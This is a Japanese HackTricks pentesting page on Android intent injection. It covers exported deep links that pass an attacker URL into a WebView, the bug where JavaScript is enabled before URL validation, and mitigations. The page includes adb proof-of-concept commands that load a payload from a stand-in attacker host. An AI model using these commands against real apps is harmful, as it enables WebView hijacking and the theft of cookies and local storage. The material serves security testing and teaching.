Intent Injection

Reading time: 6 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Intent injectionは、攻撃者が制御するIntentまたは後でIntentに変換されるデータを受け入れるコンポーネントを悪用します。Androidアプリのペンテスト中に非常に一般的な2つのパターンは次のとおりです。

  • 攻撃者が作成したextrasをエクスポートされたActivities/Services/BroadcastReceiversに渡し、それが後で特権のある非エクスポートコンポーネントに転送される。
  • 攻撃者が制御するURLを内部WebViewや他の敏感なシンクに転送するエクスポートされたVIEW/BROWSABLEディープリンクをトリガーする。

アプリが次のようなカスタムスキームのディープリンクを公開している場合:

text
myscheme://com.example.app/web?url=<attacker_url>

受信するActivityがurlクエリパラメータをWebViewに転送すると、アプリが独自のWebViewコンテキストで任意のリモートコンテンツをレンダリングするように強制できます。

PoC via adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

影響

  • HTML/JSがアプリのWebViewプロファイル内で実行されます。
  • JavaScriptが有効になっている場合(デフォルトまたは不適切なチェックのため)、公開された@JavascriptInterfaceオブジェクトを列挙/使用し、WebViewのクッキー/ローカルストレージを盗み、ピボットできます。

参照:

Webview Attacks

JavaScriptを有効にするチェックの順序バグ

繰り返し発生するバグは、最終URLの許可リスト/検証が完了する前にJavaScript(または他の許可されたWebView設定)を有効にすることです。早期のヘルパーがあなたのディープリンクを受け入れ、WebViewが最初に構成されると、後のチェックが不完全または遅すぎても、最終的な読み込みはすでにJavaScriptが有効になった状態で行われます。

逆コンパイルされたコードで探すべきこと:

  • URLを異なる方法で解析/分割/再構築する複数のヘルパー(不一致の正規化)。
  • 最後のホスト/パスの許可リストチェックの前にgetSettings().setJavaScriptEnabled(true)を呼び出す。
  • パイプラインのようなもの:解析 → 部分的な検証 → WebViewの構成 → 最終確認 → loadUrl。

緩和策

  • 一度正規化し、厳密に検証する;閉じるように失敗する。
  • すべてのチェックが通過した後、信頼できるコンテンツを読み込む直前にのみJavaScriptを有効にする。
  • 信頼できないオリジンへのブリッジを公開しない。

他の古典的なIntentインジェクションプリミティブ

  • 攻撃者が提供したIntentエクストラを使用してstartActivity/sendBroadcastし、それが後で再解析され(Intent.parseUri(...))、実行される。
  • 許可チェックなしにIntentsを非公開の敏感なコンポーネントに転送するエクスポートされたプロキシコンポーネント。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする